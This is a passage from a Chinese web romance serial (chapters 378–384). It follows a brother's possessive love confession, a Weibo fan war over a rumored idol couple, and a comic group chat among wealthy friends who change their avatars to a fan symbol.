她说:“傅守越你是混蛋。” 这件事他早知道了,他不仅是混蛋还是畜生,不然怎么会爱上救赎自己的妹妹。 “对,我是混蛋。”他承认,他就是个混蛋。 “你是混蛋……”她带着哭腔的重复骂他是混蛋。 他想,她其实可以骂的更难听的,但她自小娇养的,哪里听过多少脏话,可能在她看来最脏的话就是“贱人”两个字了,她还是心疼他不肯用这两个字来骂他。 他的妹妹在这种时候也是想着他的。 更显得他是畜生东西了。 她捂住整张脸,像是要把她自己藏起来,她很伤心,哭的很急,他的心几乎都要因为她的哭声碎成一瓣一瓣。 你看,他分明说要护着妹妹守着妹妹不让旁的人欺负她,偏偏是他欺负的最多。 “嘉誉。” 他觉得自己的声音都是哑的。 他握住她的手,擦去她脸上的泪痕,看着她哭到眼睛红肿的模样,眼底都是疼惜。 “我希望你可以想清楚一些。” “一辈子的事,需要你谨慎小心的想清楚,我不希望你头脑一热的做出错误的选择。” 傅守越漆黑幽暗的眼睛盯着她。 “你知道傅守越是什么样的人吗。” 他提到自己。 傅嘉誉愣住了,她像是呆滞片刻,好半晌才回应:“是哥哥啊。” “对,是哥哥,可又不仅仅是哥哥。”傅守越双手捧住她的脸,嗓音沙哑:“嘉誉,我是你的哥哥,但在这之前我还是一个男人。” “我是个占有欲强的疯子,你是妹妹我可以守着你护着你,你可以自由潇洒的恋爱结婚,你想做任何事都可以,但如果你迈出这一步……只要你迈出这一步我都会把你看做唯一的爱人。” “爱人和妹妹是不同的,如果你是我的爱人,你就只能看着我,不能再看其它任何男人。” “哥哥……”傅嘉誉声音几乎都带着颤意。 “对,你还在叫我哥哥。”傅守越紧紧盯着她:“你根本不知道你的哥哥有多疯多畜生,你还在念书的时候我就已经想抱着你想亲吻你,我在国外这些年每晚都是想着你入睡,我的房间摆满了你的照片,你跟任何男人接近交往我都知道。” “你能想象我每晚都梦到什么吗?我是个疯子,所以嘉誉,你想清楚要不要招惹我。” 傅守越留下这句话才放开他,离开的身影都有些仓惶和孤独。 傅嘉誉整个人都是傻的。 她还在愣神。 好半天缓不过来,忍不住的抱住自己的膝盖,陷入沙发中。 傅守越都在说些什么啊,他有多疯多畜生……这叫什么话。 她捂住自己发红的脸,眼泪早就不流了。 他说了那么一大段疯话不是表白却胜似表白,如果不是爱惨了她是不会揭开自己伪装的虚伪面具。 他早就想亲亲她抱抱她,甚至每晚的梦都是她。 傅嘉誉先是整张脸发红,下一秒忍不住喃喃。 “就这么跑了吗。” “傅守越,笨蛋。” “她都说了要亲亲,就说明已经想明白了。” 至于什么疯子变态的她早就猜到了,不疯也不会对自己妹妹有心思的。 说什么占有欲强不准她以后跟别的男人来往,如果真的跟他在一起她本来也不会跟别的男人暧昧的。 他明显就是又要龟缩起来了。 可恶。 傅嘉誉揉了揉自己发红的眼睛。 她刚才就该反应再快一点,直接抱住他让他逃不开躲不掉然后亲上去。 傅守越这样的人就该多亲几次。 良久后,傅嘉誉叹了口气从沙发上爬起来,目光略过桌上已经不再烫的牛肉面。 第379章 笨蛋傅守越 面条被泡的有些软了,最上面是水煮的溏心荷包蛋,牛肉炖的软烂,她一口一口全都吃掉了。 边吃边掉眼泪。 这么久了,还记得她爱吃什么。 笨蛋傅守越。 胆小鬼傅守越。 好喜欢傅守越…… 吃完牛肉面,傅嘉誉才想起来这是傅守越的公寓,她在这里那傅守越去哪里了? 他们还有很多话没有挑明说清楚呢。 傅嘉誉给傅守越去了电话,但那头显示关机。 好,不愧是你胆小鬼。 傅嘉誉也不急,给傅守越的助理去了电话。 “傅小姐,海外公司那边出了点状况,傅总现在已经登上M国的飞机了。” 胡说八道! 海外公司哪里有什么状况! 傅守越就是跑了! 她就吃碗面的功夫混蛋男人撩拨的她整个心胡乱蹦跳,他倒好,一顿输出说他自己是疯子是变态也不管她什么反应掉头就跑还跑到国外去! 行,好。 傅守越你有种,干得漂亮。 傅嘉誉被气笑了。 你跑啊,你逃啊,她傅嘉誉是绝对不会主动去找你的! …… 综艺大楼外角落隐秘处,一个人影鬼鬼祟祟架着手机拍摄好久,拍到后面手机都在摇晃像是站不稳了。 这人是一个娱乐八卦大V号,平日里拍到明星的视频照片什么的就喜欢上传微博,让所有人都措手不及。 她今晚一直盯着温栩栩的,别的记者不知道温栩栩他们往哪里开都被甩到半路,她却是一直跟到最后了,甚至看到江恒跟着温栩栩的车,两人下车交流了一会儿,江恒甚至对着温栩栩笑! 这谁还能说两个人是清白的! 大V更激动了,整个人都要站不稳了,她是真的慌,不是害怕是兴奋。 两人怎么看怎么亲密,这妥妥的就是要公开的节奏啊!不然干嘛大晚上的一男一女晚上不各自回家在家门口说什么悄悄话!还笑! 江恒什么狗脾气圈子里谁不知道!他都对温栩栩笑了,能对温栩栩没意思吗! 其实江恒跟温栩栩真是清白的,只不过江恒在这一片也有别墅,刚好今天要回这边休息,碰到了所以才说了几句话,但大V不知道啊。 大V压根等不及只想分享这喜悦,想大声呼喊你们房子塌了!你们爱豆恋爱了有对象了! 片刻后拍完视频的大V十分激动的上传视频到微博,这时已经深夜,却还是在微博上掀起了惊涛骇浪,就跟在平静的水面砸下枚重武器核弹一样。 一条热搜词条力压其他的词条遥遥领先成为热搜榜一。 #江恒温栩栩是真的# 江恒的粉丝和温栩栩的粉丝看到这词条一句优美的华国话差点脱口而出,但作为理智粉,粉丝们还是点开词条打算看看清楚到底是哪家想不开的谋害她们爱豆。 这一点开看更是了不得了。 没点开前还能麻痹自己全都是假的,点开后整个人都傻了,满脑子都只有一句话。 “MD,竟然真的是TMD真的!” 本来已经打算去休息睡觉的粉丝都精神了,一个个勇往直前奔赴前线在这大V号下留言问候全家。 【谁的窗户没有关】:纯路人,这俩人是准备好要结婚了吗? 【冬天要下冰雹】:纯路人,他俩孩子几岁了?我想当他俩儿媳。 【小王子的小狐狸】:这真的是江恒和温栩栩吗?他们都是上升期爱豆,特别是温栩栩都还没正式出道呢就曝光恋情?这是有点疯啊,我总觉得这视频里面不是他俩呢?有他们的粉丝吗?认领一下? 路人多是看热闹调侃的,还有人喊呦呦呦起哄,更多的是在问着真的是温栩栩和江恒吗? 【恒恒的正宫】:粉丝来认领了,我们恒恒的皮肤好的让粉丝都流下羡慕的泪水。 【栩栩小公举】:粉丝来认领了,栩栩真的好美呜呜呜好美,美神降临啊! 【恒恒的大老婆】:恒恒在想什么啊!为什么真的跟温栩栩搅合到一起了!作为上升期爱豆怎么能恋爱呢! 【当当当当】:楼上快让我笑死了,怎么的跟我们栩栩在一起怎么了?我们栩栩哪儿不好了?瞧不起谁呢我们还不想女儿刚出道就恋爱呢! 温栩栩的粉丝那种心情真是没法描述,就好像看到自己才“初中”的女儿学坏了被哪家混小子拐走恋爱的心理,偏偏混小子的家长们还都是不讲理的出口成脏,她们只想冲上去把混小子以及混小子的家长都揍一顿。 用什么描述比较贴切? 对,黄毛!江恒就是那黄毛! 江恒和温栩栩的粉丝其实没把这当多大的事儿,但江恒和温栩栩的对家蹦跶起来攻击两人。 【退圈吧您】:希望所有爱豆都能记得,上升期的爱豆谈恋爱都要杀头。别讲什么爱豆也是人,爱豆也需要恋爱自由,至少谈恋爱就等于你已经默认从那一刻起你不需要粉丝为你做任何事情了 ? 这个“退圈吧您”的言论被顶上前排,一群人在下面评论撕咬。 “退圈退团当普通人你干啥都行,我来追星的不是非诚勿扰看别人谈恋爱的。 男爱豆女爱豆都一样没事业心的都他妈给我滚。” “尤其是这种张口闭口男朋友女朋友卖男友人设的谈恋爱就麻溜的滚蛋。” “上升期爱豆就给我搞事业!别还没怎么样呢,就想着谈恋爱了。搞清自己的现状好嘛!连个代表作都没有是不配拥有爱情的!” “退圈吧您”下面的讨伐一直不停歇,不过几分钟留言已经几百条。 “作为团成员,你的行为是会影响到整个团的商业价值” “无语,爱豆本来就不该谈恋爱啊这还需要讨论吗?上升期谈恋爱就是没有事业心,粉丝才是最惨的!谈恋爱就滚谈恋爱就滚滚滚!滚出圈子!” “江恒恋爱也就算了,毕竟出道几年了,温栩栩就搞笑了,还没有正式出道就疯了是吧,这是看到有流量大佬伸手赶紧黏上去生怕自己火不了?” “什么都没有就想恋爱迟早要完,祝你俩早点玩完一起玩完马上玩完!” 第380章 CP粉 “狗皮膏药一样看到大佬明星就黏上去,笑死了,温栩栩在选秀节目的时候不就有意跟江恒炒作吗?这次不仅是炒作了还打算公布恋情是吧,你们有种。” 【吃瓜在前线】:我就是个路人,就好奇一件事……怎么爱豆谈恋爱是犯法了吗? 有人回吃瓜最前线,作为爱豆不配恋爱,他们俩不就是一个是男友人设一个是女友人设?抛弃粉丝自己去恋爱对得起粉丝吗? 这话真让江恒和温栩栩的粉丝气笑了。 【飞天小魔女】:我才真是要笑了,我们栩栩就没有立过什么女友人设,你这是哪儿看的她立过女友人设了?我们这一票妹妹粉姐姐粉哥哥粉妈妈粉都在这里就是没有男友粉!还有一群人说他们谈恋爱业务能力不行,别说这段视频是不是表明他们真的在恋爱,就算是真的那又怎样?温栩栩业务能力哪儿下降了?你等着,如果以后温栩栩业务能力真的下降了不用你们来嘲讽我们自己开嘲讽自己教育她,用得着你们这群不粉她的黑粉出来吠吗! 【恒恒的小太阳】:我们恒恒从出道开始也没立过男友人设,一直都强调不会跟你们在一起让粉丝哪儿凉快哪儿待着去别做会跟他在一起的白日梦这话粉丝们会不知道?我们粉他全靠着他颜值业务能力和那耿直的性格,我们爱豆谈恋爱结婚也碍不着你们黑粉的事儿!别在这里装你爸爸的粉丝了,戳进你们主页全都是黑明星的言论我都眼熟你们了,别人花多少钱买的水军啊,要不要点脸了? 【每天给恒恒比心】:我们江恒!入圈的时候就说自己喜欢站在舞台上喜欢唱歌跳舞,他早说过自己如果遇到喜欢的会追求了!我们江恒谈恋爱怎么了!他入圈的时候就说清楚了! 江恒粉丝不能接受黑粉故意的抹黑,江恒也确实说过这些话,黑粉也不能睁眼说瞎话,只能暗搓搓内涵江恒因为谈恋爱演技都变差了。 结果江恒粉丝十分无语,甚至粉丝仰天大笑回他“我们恒恒谈不谈恋爱演技都差!”黑粉无语凝噎。 是,江恒就是个爱豆,什么时候有过演技这种东西了。 黑粉忍不住蹦跶还嚷嚷温栩栩和江恒的粉丝疯了嘲讽他们是护主的疯狗,在微博上遍地撒欢儿。 就在这时一群新粉丝,俗称CP粉在下面留言洗广场来帮忙。 【水水CP呜呜呜】:就没有人发现那段视频真的好可爱吗! 【遍地水水黄金屋】:靠啊,两段视频剪辑到一起简直甜死了,醉酒那次江恒一路搀扶着醉酒的温栩栩生怕她跌倒,温栩栩抱着柱子哼哼江恒就在旁边目不转睛的盯着温栩栩,温栩栩说一句就回一句,每一句都是带着宠溺的语气啊啊啊!江恒甚至一直对温栩栩笑!江恒那么狗的爱豆什么时候笑的这么温柔过!嘤嘤嘤!忍不住哭出声!谁能不爱这样的江恒呢! 【水水给你你归我】:温栩栩更可爱呜呜呜,江恒温栩栩在一起简直绝配好吧!都撕什么撕有什么可撕的!我们江恒大少爷好不容易在圈子里找到个喜欢的能制住他的,有什么可拆的,都给我嗑! 【水水向东流】:笑死了哈哈哈哈你们都在关注他俩的感情只有我在关注他们在外面聊天时温栩栩嫌弃的小眼神吗,江恒都委屈了,这俩不要太可爱。 这些冲出来的粉丝不仅为温栩栩说话还未江恒说话并且名字都跟水水有关,头像也都是一个蓝色的水滴头像,乍一看活像是误入了什么奇怪的现场,一看就是一个组织的。 温栩栩的粉丝小羽毛和江恒粉丝小太阳全都懵了被那蓝色的头像给惊的半晌没反应过来,还是有经验的大粉看出端倪点了其中一个水水头像的主页,看到她关注了一个“水水”超话,一进去更愣了,那超话里面的东西被大粉看了特想吐槽一句“群魔乱舞”! 超话外面是小羽毛和小太阳在为自家正主反黑洗广场,还伴随着黑粉们时不时的奚落嘲讽,但这“水水”超话里面就不同了,和谐的不像话! 超话外面黑粉“江恒温栩栩不务正业作为爱豆恋爱赶紧滚蛋退圈!”;小羽毛粉丝“妹妹谈恋爱怎么了!妹妹有实力爱干嘛干嘛黑粉闭麦!”;小太阳们喊话,“我们自家哥哥卖什么人设都不卖男友人设!我们家是无敌耿直人设!” 然而水水超话内又是另一天地。 【摁头水水】:我说什么来着我说什么来着,录制节目的时候主持人没少故意给温栩栩使绊子,江恒维护她,要不是有点什么了不得的关系江恒值当为温栩栩说话护着她吗? 【水水SZD】:友情提示各位!江恒都多久没出来了,之前一直说闭关在家断网写新歌,什么时候跟谁有这么亲密的关系了,录制节目的时候江恒看温栩栩的眼神都要拉丝了,俩人指不定私下在一起多久了!还有温栩栩手上戴着的那块手表,江诗丹顿的,全球只有六块,且是上流圈子情侣款的,温栩栩戴的是女款江恒戴的是男款!情侣款啊!天王老子来了这俩也是真的! 其实这事儿温栩栩实在是冤,那手表是前阵子黎云笙买来给她的,他是这意思,既然结婚了布好戴戒指那就带块手表也算是表示了。 但谁也没想到还没等有人扒出温栩栩和黎云笙戴的同款,倒是先扒出温栩栩和江恒戴同款手表了。 【水水送给你】:情侣手表都戴了!那可是江诗丹顿啊!全世界就六块,男款三块,女款三块,且我们知道的许愿和盛景炎有一对,他俩是未婚夫妻有这个很正常,江恒有一块男款的,另一个有男款的就是黎氏总裁黎云笙,拜托,温栩栩不跟江恒是一对儿难道还能跟黎云笙是一对儿吗?黎云笙啊!就是那种仿佛自成一派生人勿进,不,有生命的都勿近的这种人,他能跟温栩栩是一对儿还给她送手表?这话说出去谁信啊!是谁都不可能是黎昀霆啊!这事儿破案了,谁来了都不好使!这手表就是江恒送给温栩栩的! 第381章 听说他有胃病? 【水水小画家】:没什么能激励各位的,我们超话才建成没多久,花了几个小时花了两人的同人动漫,呜呜呜,他俩太般配了,下次时间充裕的话我要画婚纱照! 【水水明天就结婚】:呜呜呜我要为这绝美爱情落泪了,他们绝对是真的。几百万的手表都送了,打算什么时候结婚啊! 江恒粉丝和温栩栩粉丝人都傻了。 什么啊!什么时候送手表还戴情侣手表了! 一看到图和解析眼前一黑。 江诗丹顿的手表啊,限量情侣款的,这怎么洗。 他们不管,他们当没看到的继续看。 【手捧水水走花路】:嘤!这到底有什么好吵的有什么好吵的!是哥哥不帅妹妹不美了吗?她们再好看能有温栩栩好看吗?俩天仙在一起不好吗?他俩绝配!就冲这原装绝美脸以后生下来的孩子都能造福大众! 逛超话逛的想手撕这些新生CP粉的大粉刷到“手捧水水走花路”的言论诡异的沉默了甚至觉得这人说的有那么点道理,就冲江恒和温栩栩俩人的颜值,那未来的孩子颜值一定逆天。 呸呸呸,作为江恒大粉怎么能这么想呢!这些还不嫌事儿大嚣张的CP粉! 大粉气愤无比打开后援群召集一众江恒粉丝说了这横空出世的水水CP粉。 【蝴蝶恒恒】:这个突然出现的“水水”CP粉简直可恶! 粉丝附和义愤填膺道“可恶!” 【蝴蝶恒恒】:这种邪教CP绝对不能存活!必须要搞她们!让她们知道此路不通! 粉丝再度附和,“搞她们!” 【蝴蝶恒恒】:但在此之前我们要跟这些CP粉友好和平共处睁一只眼闭一只眼让她们去跟粉丝刚!洗完广场再去举报水水粉丝!搞她们搞她们! 一众粉丝呐喊“搞她们搞她们!”跟风刷了会儿的粉丝们满头问号?嗯?暂时先和平共处?不是要搞她们? 对于粉丝们的疑惑,大粉“蝴蝶恒恒”语重心长劝慰“自家人不要内讧,先搞死外敌过后关起门来家暴她们!” 粉丝们:??? 谁跟那群捡垃圾磕糖的人是自家人啦! 不过想这么想但现在还需要CP粉这一强大战力去怼黑粉,大家都当瞎子任由水水粉丝在微博蹦跶,看到她们战斗力尚可一己之力喷的黑粉瑟瑟发抖内心都觉得家暴的时候可以下手轻点了。 江恒的小羽毛大粉也是第一时间发现这个邪教水水CP,她跟江恒大粉做法相同,也是先按兵不动拿CP粉当苦力使,过后再搞水水老巢。 微博上三家粉丝群起围攻黑粉,管你谁直接举报拉黑,怼你都嫌浪费时间,就看一个一个的黑粉水军倒下了,这场战役终将以三家的胜利和黑粉的失败为结局。 马琪看到网络上的舆论偏向两人且多了个“水水”超话颇有些得意的笑起来,“果然,让温栩栩跟江恒炒CP还真的有了热度。” 一切都在可控范围内,温栩栩绝对吃不了亏,马琪满意的睡觉休息。 …… 已经深夜黎云笙仍在黎氏总公司跟M国方视频会议商议合作事宜,M国那里还是白天,两方早约好时间这个时间视频会议商量一些关于合同上的细节问题。 两方因一些利润的问题胶着不停最终暂时结束会议,M国方将派遣总负责人来A市详谈利润问题。 结束视频会议,会议室内的负责人们纷纷离开会议室,唯有黎云笙面无表情看向会议室外的黑夜,黎氏总公司所在区属于A市最大商业区,即使深夜仍是灯火璀璨到处都是亮光。 助理走过来送上一杯热牛奶,黎云笙略一垂眸瞥见会议室茶桌上那杯冒着热气的热牛奶微一挑眉。 黎云笙并没有喝热牛奶的习惯,他惯是结束会议后喝一杯不加糖的咖啡。 黎云笙看他是在要解释,助理面上笑意不减,“夫人说如果黎总工作的太晚就给您热一杯牛奶,还说您有胃病夜里不能总喝咖啡就让我用热牛奶来代替。” 男人蹙眉。 他怎么不知道自己什么时候有胃病了? 黎云笙给温栩栩发了条微信。 【黎云笙】:听说我有胃病? 黎云笙给温栩栩的备注是“诡计多端没心没肺小狐狸” 那边秒回。 【诡计多端没心没肺小狐狸】:书上都说十个总裁九个有胃病,阿愿都有胃病你肯定也有。 黎云笙:…… 什么歪理。 许愿有他就要有?这是什么好东西吗? 他不打算理会温栩栩了,倒是助理审时度势开口:“我觉得夫人说的很对。” 男人淡淡的嗯了一声却不碰那杯热牛奶。 助理又问:“今晚黎总要回龙景那边吗?” 龙景别墅所在区就是训练团训练的区域,这是变相问他今天要不要见温栩栩。 黎云笙皱眉面色不悦,“最近都不去那边。” 都在这里胡说八道说他有胃病了,见什么见,他又没病。 助理了然不多问的收拾起会议室的文件。 黎云笙颇有不耐手指敲打着桌面,他视线转移到手机上,打从视频会议时手机上微信图标就一直闪个不停。 他认识的那几个人里面盛景炎以前就喜欢没事水群,韩城更是浪的,他闲到连顿早餐吃什么都要在群内炫耀。 不知道是又出什么事了,群里那几个不消停的又蹦出来开始闹腾。 黎云笙点开微信就看到群内那几个一直在不停@他,看到他没回话还有人私聊。 他拧眉,并不清楚又发生了什么了不得的大事让这群疯子又诈尸。 他点开群,心里隐隐有种不大好的预感。 其实这群从晚上江恒温栩栩开始有CP粉开始就不太平。 这次不是那唯恐天下不乱总是当瓜被群内人调侃的韩城出来嚷嚷暖群,这次出来说话并光荣的带着群里这几个人聊到消息“99+”的是江行舟。 江行舟是那种我不痛快大家都要跟着我不痛快的一类人,被弟弟关小黑屋后江行舟就去微博搜了自己亲弟弟,作为一名时刻关注亲弟弟动态把握弟弟所有黑料和沙雕动图沙雕新闻的“国民好哥哥”,江行舟果真发现了江恒跟温栩栩的CP粉,还看了不少粉红剪辑和评论。 第382章 八卦谣传管你是男是女 江行舟默不作声翻阅网络那些评论,特意精心挑出两人新鲜出炉的一些CP粉发的评论。 作为一个分分钟入账百万的江总耗费心神把那些评论整理成长截图分享到群内并分享一首歌“青青草原”并@黎云笙。 【江行舟】:很荣幸我弟弟敢对温栩栩伸出爪子@黎云笙。 黎云笙当然没有冒头,但群内所有成员都十分默契的发了三个问号以表示自己此刻迷惑的矛盾心理。 江行舟的弟弟江行野,除了韩城和江恒外最闹腾的人物,看到这话立刻蹦出来,完全不辜负父母给他取了“野”字当名字。 江行野最浪,直接出来嘲笑。 【江行野】六六六大写的六! 【江行野】:黎氏倒闭了,黎总他老婆跟好友弟弟小白脸跑路了! 江行野就是会作死,能一句话得罪三个人也是不多见了。 “黎氏倒闭了,黎总他老婆跟好友弟弟小白脸跑路了!”这很明显得罪黎氏夫妇又得罪弟最讨厌被人叫做小白脸的江行舟。 韩越看到这条消息十分好心的提醒他。 【韩越】:阿野,如果有一天你真的出事了绝对是因为你这张破嘴。 江行野不乐意的在群里嚷嚷。 【江行野】:我怎么就破嘴了?我嘴巴不性感吗?跟我交往过的女性就没有不爱跟我接吻的!我的嘴巴不厚不薄唇色好看,如果不是因为我出生在江家,我绝对是世界排行第一的唇膜!靠着我的嘴巴就能吃饭! 为此江行野还特意的发了无数张自己嘴巴的特写,并为自己的嘴巴如何完美撰写了一篇小论文誓死捍卫自己的嘴巴最性感最好亲最好看谁都不能侮辱他的嘴巴。 韩越默了片刻险些因为江行野这一骚浪贱的操作退群。 江行舟发了那几条信息就没出来,群里全是江行野骚包的发言。直到深夜江恒和温栩栩的视频被大V号发布到微博上,江行舟第一时间下载视频分享进群并再次@黎云笙。 【江行舟】:分享{视频} 【江行舟】:你房子塌了,我弟干的。@黎云笙 群内众人默不作声先把视频从头看到尾,群是彻底热闹起来了。 【卫惊澜】:云笙,你怎么看?@黎云笙 【韩越】:温栩栩什么时候跟江恒认识了?@黎云笙 【江行野】:一句“卧槽”已经表达不出我的震惊了,我本来以为我哥开玩笑的,没想到你真的被挖墙角了,还是被江恒挖的!@黎云笙@黎云笙@黎云笙! 【韩越】:你知道怎么回事吗?@江行舟 江行舟这个点还在加班加点处理工作,看到韩越的问题做了简短回应。 【江行舟】:他们是在选秀综艺里面认识的,江恒是助演嘉宾,这时候认识的。 【江行野】:噗哈哈哈哈笑死我了,黎云笙想用节目捧自己老婆,然后自己老婆碰到了我的小鲜肉弟弟跟人跑了,留他一个孤家寡人!!这是什么世纪大笑话! 江行舟实时更新微博一些动态,截的最多的就是水水CP的一些言论。 【江行舟】:几个小时的时间,我弟弟跟温栩栩有了爱的结晶“水水”。 江行野出来又把那视频看了一遍出来胡乱叭叭。 【江行野】:江恒醉酒后眼睛一直目不转睛盯着温栩栩,简直就是温栩栩说什么就是什么,这不是爱是什么?要说这俩没点奸情我都不信! 【江行野】:行了什么也别说了,这CP我磕了! 【江行野】:水水CP是真的! 江行野还不嫌事儿大把头像改成了从水水CP那里偷来的蓝色的大水滴头像,群内其他成员也作妖的换成了这头像,就连沉稳的韩越也跟着换头像以表示自己很合群。 唯独盛景炎这时间再休息根本不知道错过了什么,没掺和进来。 这几个都是A市商业翘楚名流贵勋,当然知道一些料的真假内情,且微信上也加了些记者,他们加的记者也都知道江恒跟江行舟的关系,这会儿正盯着这几位呢,就瞅见几位几乎同时换了水水的水滴CP头像。 记者们:!!! 震惊全家!大佬们深夜齐换头像是为哪般!这是在用事实说话证明江恒温栩栩是真的吗!江恒温栩栩真的在一起了! 这几位就是找乐子呢,压根没想那么多,岂料记者们纷纷截图大佬的头像半夜就发了博文消息。 #震惊!大佬半夜齐换水水头像支持水水CP!水水真的是真的!# #可怕!大佬们手动逼人磕水水CP!# #横空出世“水水”CP,大佬称绝配!# #“水水”CP内幕揭晓,大佬表示即将领证结婚!# #先磕为敬,“水水”CP即将三年抱俩五年抱仨!大佬亲证!# 微博截图以及头条公众号知乎都被大佬亲证刷屏,“水水”CP粉被这突如其来的喜糖砸蒙了,本来有那段视频就够她们甜上一阵,现在大佬们一起换头像磕CP让水水CP们泪流满面底气十足。 江行舟还在不知疲倦的刷微博看新闻分享进群,然后就看到了大佬N连。 江行舟,“……” 江行舟默不作声全分享进群。 【江行舟】:我仿佛看到云笙提着刀向我们赶来。 看到信息的众大佬们也是半晌回不过神,他们只是换了个头像,没想到就被一把火烧到自己头上成了江恒和温栩栩交往恋爱结婚生娃的铁证了。 结婚领证是真的,生娃可能也要生,就是那主角不太对啊。 所以说,没事别浪,指不定就因为你换个头像别人就能传流言脑补你跟人孩子都有了。 这无疑跟当初江行野去了趟T国旅行被人言之凿凿议论他变成双性在国外怀孕生子还携崽儿回国过后被江老爷子提着棍子追了十条街揍一顿的新闻一样堵心。 八卦谣传不分边界,管你是男是女。 大佬们一时相顾无言纷纷想把头像换回去,然后同时蹦出一句砸懵众人的消息“由于系统维护,近日无法修改头像。” 众人:??? 闹呢! 第383章 盛景炎的无差别攻击 第一个蹦出来撒欢的江行野啊啊啊了好几声。 【江行野】:我就是想换个头像浪一浪!它什么时候维护系统不行就现在维护!我这是要浪断腿的节奏! 【江行野】:就这头像,如果云笙知道内情估计半夜就要把我暗杀了!更过分的是这么个头像我还怎么撩妹啊!水滴,那不等于告诉妹子我浪吗! 【江行舟】:……最该头疼的应该是我吧。 最该头疼的果然应该是江行舟,他的微信在滴滴滴的响个不停,已经快炸了! 其他人只是微信上有那么两三个记者跟着圈子接轨,但江行舟当初为了江恒专门收购了娱乐公司,投资了不少娱乐圈相关产业,算是圈内人,他微信上不仅有各路记者八卦号还有圈内的花旦影后同行以及各类喜欢八卦的导演。 明星艺人经常夜里拍戏或者赶通告很晚回家,这个点不少人都没休息,正把江恒那事儿当乐子看呢,然后全都看到江行舟换了“水水”头像,并且几位大佬同时换头像,那头像怎么看都在明示俩人是一对! 于是江行舟的微信信息全都是…… “啊?温栩栩江恒真在一起了?认真的?”这是江恒以前当爱豆时跟江恒关系很好的爱豆朋友发来的。 “他俩真想退圈了?是江恒疯了还是温栩栩疯了?两个人一起疯了?”这是江行舟的影后朋友贴着面膜无比震惊的八卦。 “老板啊啊啊啊!温栩栩不是都还没出道吗!她怎么跟我们小少爷在一起了!老板你让小少爷别祸害我们栩栩啊!”这是跟江行舟关系不错的一个下属,温栩栩毒唯粉心都要碎了。 “江哥,您看能不能帮我把温栩栩江恒约出来我真的太想采访他们两个了!”这是跟他关系匪浅的记者朋友摩拳擦掌发来信息。 “什么!温栩栩真的跟江恒那演技能气活人的死小子在一起了?就他那演一场戏让我吐一天的小白脸他配得上温栩栩??让他俩分手!赶紧分!别顶着这头像了,辣眼睛!给我换了换了换了!”这是温栩栩在训练营的时候去客串了电影拍了几分钟因为温栩栩演技对她无比欣赏的赵金明导演,这语气活像自己家崽子被猪拱走了。 江行舟抹了把脸第无数次骂自己手贱。 江行野那死小子提议的哪有好事,那人非酋还爱作,明明知道他这体质还偏要往上凑! 江行舟来来回回几次想拉黑江行野,最终还是忍住不想显得自己跟江恒一样幼稚。 实在是不想被人一个个私戳烦都烦死了,江行舟把微信的简介改成“不磕水水CP不知道什么是水水CP,换头像因为游戏输了。”,还担心别人看不见特地又复制这言论发了一遍朋友圈。 江行舟这么干了,那几个见他这么发也这么干直接复制粘贴,又是同时改个签同时发朋友圈澄清。 紧盯着他们的记者们蠢蠢欲动等他们都发完朋友圈和个签直接一截图。 #什么是欲盖弥彰?这就是欲盖弥彰!# #大佬们同时为水水CP艹热度!水水不真谁才真!# 众大佬:…… 赵金明更是扒着江行舟不放怒气冲冲:“让你换头像你给我整什么玩意儿!你就磕这CP了是不是!不准磕!” 江行舟看出来了,赵金明导演现在就是江恒黑粉温栩栩的毒唯。 江行舟特地点开赵金明的主页就看到赵金明的个签“假的假的假的!”还特此发了朋友圈,“全都是假的!” 赵导真的是真情实感的在喜欢温栩栩也真情实感的讨厌江恒了。 大佬们自乱阵脚,江行野还在群里嚷嚷。 【江行野】:不行,我们都换了这头像云笙你也要换!@黎云笙 【江行野】:你不能不合群!@黎云笙 不是? 江行野有病吗? 这是看到这信息的所有人想说的话。 这下最先惹火的江行舟都不吱声全都看群里江行野自己一个人在那找死。 盛景炎就是这时候上线的,他戳进群的一瞬间,以为自己误入了什么奇怪的群,遍地水滴。 【盛景炎】:你们?水滴众筹? 见盛景炎出来了,江行野正要戳他一起换头像,结果韩城也跳出来了。 【韩城】:什么玩意儿? 【韩城】:你们COS蓝精灵啊,玩这么抽象的吗? 【韩城】:在那山的那边海的那边,有一群蓝精灵…… 有病吗韩城!韩越你都不管管你家疯弟弟啊! 蓝你妈! 江行野看韩城这么抽象一口气差点没喘上来,正要辱骂他几句,然后就见韩城真的跟有病一样的发了句。 【韩城】:你们搞团建啊,玩的还挺嗨,不是我这边怎么换不了水滴头像?凭什么你们能换我不能换?我不服! 众人:“……” 这是真有病,没救的那种。 韩越在群里装死,他很不想承认这个傻子一样的是自己弟弟。 一直翻群记录的盛景炎才刚翻回来,再看这群内除了韩城一水儿的水滴头像只觉眼前一黑。 【盛景炎】:我以为群内真正愚蠢能被人骗到内裤都不剩还要帮人数钱的那种人只有韩城,没想到你们都蠢了一把。 【盛景炎】:江行舟我以为你只是在外面浪,没想到你的智商也会滑坡浪到谷底。 江行舟:“……” 行吧,他理亏。 【盛景炎】:江行野,你不愧叫这个名字,伯父伯母没起错,你真的是野蛮生长,够野。 江行野:“……” 听着像是在夸他,但像在骂人。 【盛景炎】:韩越,你呢,是有什么心事吗。 韩越:“……” 确定了,盛景炎就是在骂人。 无差别攻击。 韩城呢,关注点比较奇特,他等半天都没等到盛景炎提到自己,一时有些炸毛。 【韩城】:盛景炎你在区别对待吗?你怎么不点我? 盛景炎打字的手都跟着抖了下。 不是?这你也要掺和进来? 【盛景炎】:不如你先看看群内聊天记录? 他可不是在夸人,说夸人不如说是在骂人。 第384章 肥水不流外人田 韩城果然滚去翻记录了,越看眼睛瞪得越大,他人还在夜店疯呢,结果就看到因为这群人换头像而顶上的热搜。 不是,哥几个真疯啊。 下一秒就觉得,疯归疯但是挺有意思的,怎么就不能带他一个了? 【韩城】:他们换都换了疯都疯了,多加我一个疯子怎么了,黎云笙还能透过手机网线打死我啊。 【韩城】:换头像了,那咋了。 【韩城】:往好了想,就算温栩栩跟黎云笙离婚了那能跟江恒在一起也是很好的,俗话说肥水不流外人田嘛,我说的对不对? 众人:“……” 他们只是因为玩嗨了一时上头换头像,纯属脑子突然一抽。 韩城就不一样了,他的精神一直超前啊,脑子不是突然一抽,是一直抽! 盛景炎无言以对,群内一时寂静。 江行野实在憋不住的发了句。 【江行野】:劳累了一天的云笙点进群天都塌了。 黎云笙就是在这种时候结束视频会议并且心情十分糟糕的点进了群。 点进群后看到江行野这闷头一句话实在没看出什么深意。 他怎么就天塌了? 黎云笙皱着眉去翻群聊记录,看完所有记录,心情糟糕的黎总觉得这个群的存在简直就是天怒人怨令人发指。 【黎云笙】:肥水不流外人田?我看你像肥水。@韩城 韩城:“……” 这话伤害有点高了。 